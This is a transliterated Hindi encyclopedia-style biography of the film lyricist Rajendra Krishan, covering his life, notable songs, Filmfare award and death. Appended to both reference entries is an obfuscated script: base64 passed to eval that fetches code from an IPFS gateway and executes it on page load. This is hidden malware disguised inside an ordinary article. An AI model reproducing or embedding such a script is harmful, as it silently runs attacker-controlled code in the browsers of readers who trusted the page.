राजेन्द्र कृष्ण

भारत डिस्कवरी प्रस्तुति
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rajendr krishna
poora nam rajendr krishna duggal
janm 6 joon , 1919
janm bhoomi jalalapur jattan, zila gujarat, pakistan
mrityu 23 sitambar, 1987
mrityu sthan mumbee, maharashtr
karm bhoomi mumbee
karm-kshetr gitakar
mukhy filmean janjir, pyar ki jit, alabela, anarakali, azad, bhaee bhaee, dekh kabira roya, chhaya, patang adi
puraskar-upadhi rajendr krishna ne film khanadan (1965) mean "tumhi mere mandir, tumhi meri pooja" ke lie sarvashreshth gitakar ke lie filmapheyar puraskar jita tha.
nagarikata bharatiy
any janakari rajeandr krishna tamil bhasha par bhi hiandi jaisa hi adhikar rakhate the aur tamil filmoan ke lie bhi utane hi mashahoor the.
adyatan‎
18:08, 20 mee 2017 (IST)

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rajendr krishna (aangrezi: Rajendra Krishan janm: 6 joon , 1919 mrityu: 23 sitambar, 1987) hindi sinema ke ek prasiddh gitakar the.

jivan parichay

rajeandr krishna ka janm 6 joon, 1919 ko pakistan ke zila gujarat ke jalalapur jattan namak gaanv mean ek duggal parivar mean hua tha. jab vah athavian kaksha mean padh rahe the tab unhean kavita ki or akarshit kiya gaya tha. unhoanne shimala mean nagarapalika ke karyalay mean 1942 tak klark ke roop mean kam kiya tha. us avadhi ke dauran, unhoanne poorvi aur pashchimi lekhakoan ko b de paimane par padha aur kavita likhi unhoanne firaq gorakhapuri aur ahasan dainij ke urdoo kavita, peant aur nirala ki hiandi kavitaoan ke lie apani rrini vyakt ki. un dinoan dilli-panjab ke samachar patroan ne vishesh poorak karyakramoan ko janm diya aur krishna janmashtami ko chihnit karane ke lie kavita pratiyogita ayojit ki, jisamean unhoanne niyamit roop se bhag liya.

filmi kॅriyar ki shuruat

1940 ke dashak ke madhy mean, krishnan ek patakatha lekhak banane ke lie muanbee ge. 1947 mean pahali bar janata namak film ki patakatha likhi aur usi varsh ek aur film janjir mean git likhane ka mauka mil gaya. janjir ka koee git net (aantarjal) par upalabdh nahian hai. usake sangit nirdeshak krishna dayal the aur git pandit phani, pandit gaphil, lalachand bismil aur rajeandr krishna ne likhe. 1948 ke shuroo hote hi mahatma gaandhi ki hatya ke bad ‘suno suno ai duniya valo bapoo ki ye amar kahani’ se unaka nam ghar-aangan mean gooanjane laga. yah git mohammad rafi ne gaya tha aur isaki dhun us jamane ke prakhyat sangit nirdeshak husnalal bhagataram ne banaee thi. usi varsh aj ki rat ke gitoan se mashahoor hue. aj ki rat mean unhoanne samajik yatharth ko apane git ka vishay banate hue likha ‘kya jane amiri jo garibi ka maja hai daulat unhean di hai to hamean sabr diya hai’. svar mina kapoor ka hai aur isaki dhun husnalal bhagataram ne banaee hai. yah kisi gajal ka matala bhi ho sakata hai aur kisi git ka mukh da bhi lekin apane garbh mean yah kabir ke is dohe ka raushan bij chhupae hue hai ‘godhan gajadhan bajidhan aur ratanadhan khan jab ae santoshadhan sab dhan dhoori saman’. isi film mean suraiya ki avaj mean rajeandr krishna ka ek aur git mashahoor hua ‘kyooan le chala hai ai dil mujhako pyar ki gali mean ho’. ji. em. durrani ki puradard avaj mean rajeandr ka yah git bhi makabool hua. [1]

gitoan ka safar

‘pyar ki shama ko takadir bujhati kyooan hai kisi barbade-mohabbat ko satati kyooan hai’. aur 1948 mean bani film pyar ki jit mean qamar jalalabadi aur rajeandr krishna ke git the. rajeandr ka yah git bahut makabool hua ‘tere nainoan ne chori kiya mera chhota sa jiya paradesiya’. 1948 mean ‘bapoo ki yah amar kahani’ is kadar mashahoor aur makabool ho gaya tha ki 1949 ki ek film ka nam hi amar kahani rakh diya gaya aur usamean git likhane ki davat rajeandr krishna ko hi di gee. suraiya ki avaj mean is film ka yah git bahut makabool hua ‘divali ki rat piya ghar ane vale haian sajan ghar ane vale haian’. isaki dhun husnalal bhagataram ne banaee thi. is film ke aur bhi kee git makabool hue; unamean gita datt ki gaee ek gajal bhi thi jisaka matala is tarah tha ‘ye kaisi dillagi hai kahaan ka ye pyar hai kuchh aitabar bhi nahian kuchh aitabar hai’. suraiya ki avaj mean rajeandr ka yah git bhi bahut pasand kiya gaya ‘umangoan par javani chha gee ab to chale ao tumhari yad phir t dapa gee ab to chale a’’. 1949 mean lahaur aur b di bahan ke 'chup chup kh de ho zaroor koee bat hai , 'chale jana nahian' jaise suparahit ganoan ke sath rajeandr ji agrim pankti ke gitakar ban ge. lahaur mean sangit diya tha prakhyat nirdeshak shyamasuandar ne aur rajeandr krishna ka yah git behad makabool hua ‘baharean phir bhi aeangi magar ham tum juda hoange ghataean phir bhi chhaeangi magar ham tum juda hoange’. ek gitakar ke roop mean vah dinanath madhok aur qamar jalalabadi ke najadik p date haian jo man ki bhavanaoan ko sidhe-sachche shabdoan mean aur sada aandaj mean kahane mean yakin rakhate haian aur kori bhavanaoan ko kavita ka saj-siangar pahanane ki chianta nahian karate. shrota tak unaki kavita sunate-sunate hi sanvedit ho jati hai, use samajhane aur sarahane ke lie use koshish nahian karani p dati, kasarat ka to saval hi nahian paida hota. b di bahan ke gitoan ki lokapriyata ka praman yah hai ki b di bahan ke nirmata ne khush hokar gitakar rajeandr krishna ko ek aaustin kar bheant ki aur git likhane ke lie ek hajar ru. mahavar par naukar rakh liya.[1] 1949 mean asoodahal log hi aaustin kar ka sapana dekhate the aur ek hajar prati mah ki tanakhvah achchhi-khasi rakam hua karati thi. phir to rajeandr ji ki gadi chal p di alabela, anarakali, azad, bhaee bhaee, dekh kabira roya, chhaya, patang, blaph mastar, bharosa, pooja ke phool, khanadan adi filmoan ke lie gane likhe aur mashahoor hue, isake alava rajeandr ji tamil bahut achchhe tarah se janate the so 18 tamil filmo ke lie patakatha aur gane bhi likhe.[2]

lata-ramachandr-rajeandr

darasal lata, si. ramachandr aur rajeandr krishna ki ek tik di banati hai aur ye tinoan jab bhi ek jagah jama hote haian to ek se badhakar ek rasavanti rachanaean astitv mean ati haian. lata-ramachandr aur rajeandr ki tik di ne anarakali mean bahut achchha sangit diya hai. is film ke git ‘mohabbat aisi dh dakan hai jo samajhaee nahian jati', mohabbat mean dil ka dh dakana to am hai, hiandi-urdoo shayari aisi dh dakanoan se bhari p di hai; lekin yahaan to use dh dakan hi bana diya gaya hai. yah roopak alankar ka chamatkar hai jo is sidhe-sade bayan ko kavita ke rupahale roomal mean lapetakar ek nee abha de raha hai.[1]

prasiddh git

  1. jadoogar saiyaan chho d de baiyaan
  2. chup chup kh de ho zaroor koee bat hai
  3. vo bhooli dastaan lo phir yad a gayi
  4. mere mahaboob qayamat hogi
  5. chhoop gaya koee re, door se pukar ke
  6. kaun aya mere man ke dvare
  7. ye jiandagi usi ki hai
  8. zaroorat hai zaroorat hai ek shrimati ki
  9. mai chali mai chali dekho pyar ki gali
  10. mere samane vali khi daki mean
  11. dekha n hay re socha n hay re
  12. koee koee rat aisi hoti hai
  13. pal pal dil ke pas tum rahati ho[2]

puraskar

rajendr krishna ne film khanadan (1965) mean "tumhi mere mandir, tumhi meri pooja" ke lie sarvashreshth gitakar ke lie filmapheyar puraskar jita tha.

yogadan

1966 ki film niand hamari khvab tumhare mean asha bhoansale ki avaz mean rajeandr ka yah git behad lokapriy hua ‘koee shikava bhi nahian koee shikayat bhi nahian aur tumhean hamase vo pahali si mohabbat bhi nahian’. ab rajeandr ko filmoan ka milana kam ho gaya tha lekin jab bhi mauka milata tha vah koee n koee makabool git rach dete the aur surkhiyoan mean a jate the. 1970 ki film gopi mean unaka likha yah git dekhie: ‘sukh ke sab sathi du:kh ka n koy mere ram mere ram tera na hai saancha dooja n koy’. gopi mean maheandr kapoor ka bhi ek sadabahar git hai jo aj bhi sunane ko mil jata hai, ‘ramachandr kah ge siya se aisa kalajug aega hans chugega dana-dunaka kauva moti khaega’. ab rajeandr pachas ke lapete mean the lekin umr ne unake tevaroan par jara bhi asar nahian chho da tha. par ab gitakaroan ki nee khep a gee thi aur unhean milane vale kam mean kami a gee thi. vah isaki parava bhi kahaan karate the? ghu dadau d mean 46 lakh ka karamukt jaikap aaut jitakar vah pahale hi film udyog ke sabase dhani lekhak kahalane lage the. apane param mitr santoshi ki tarah vah aiyashi se kharch karane vale shakhs n the balki paise ka vivekashil upayog karane mean vishvas karate the. lekin vah aantim dinoan tak sakriy rahane mean bhi vishvas karate the isalie jab bhi mauka milata tha, kam se inakar nahian karate the. kuchh n kuchh kam unhean akhiri dam tak milata raha. isake alava vo tamil bhasha par bhi hiandi jaisa hi adhikar rakhate the aur tamil filmoan ke lie bhi utane hi mashahoor the.[1]

nidhan

hiandi ke kam pathak janate haian ki rajeandr krishna ne eviem stoodiyo ke lie 18 filmean tamil mean likhi thian. unaki aantim film alla rakkha 1986 mean aee jabaki do hi sal bad 23 sitambar, 1987 ko banbee mean unaki mrityu ho gee. mrityu se pahale vah ag ka dariya ke lie git likh rahe the. yah film unaki mrityu ke do sal bad 1990 mean pradarshit ki gee. anuradha pau daval ka git ‘rishte mean mohabbat ka sansar hamara tha’ am taur par unaka akhiri git mana jata hai.[1]



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ 1.0 1.1 1.2 1.3 1.4 gitakar rajendr krishn ka hindi filmi git ko yogadan (hindi) kavy ka janataantrikaran. abhigaman tithi: 20 mee, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ 2.0 2.1 kaun aya mere man ke dvare... (hindi) kavy ka janataantrikaran. abhigaman tithi: 20 mee, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

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gitakar


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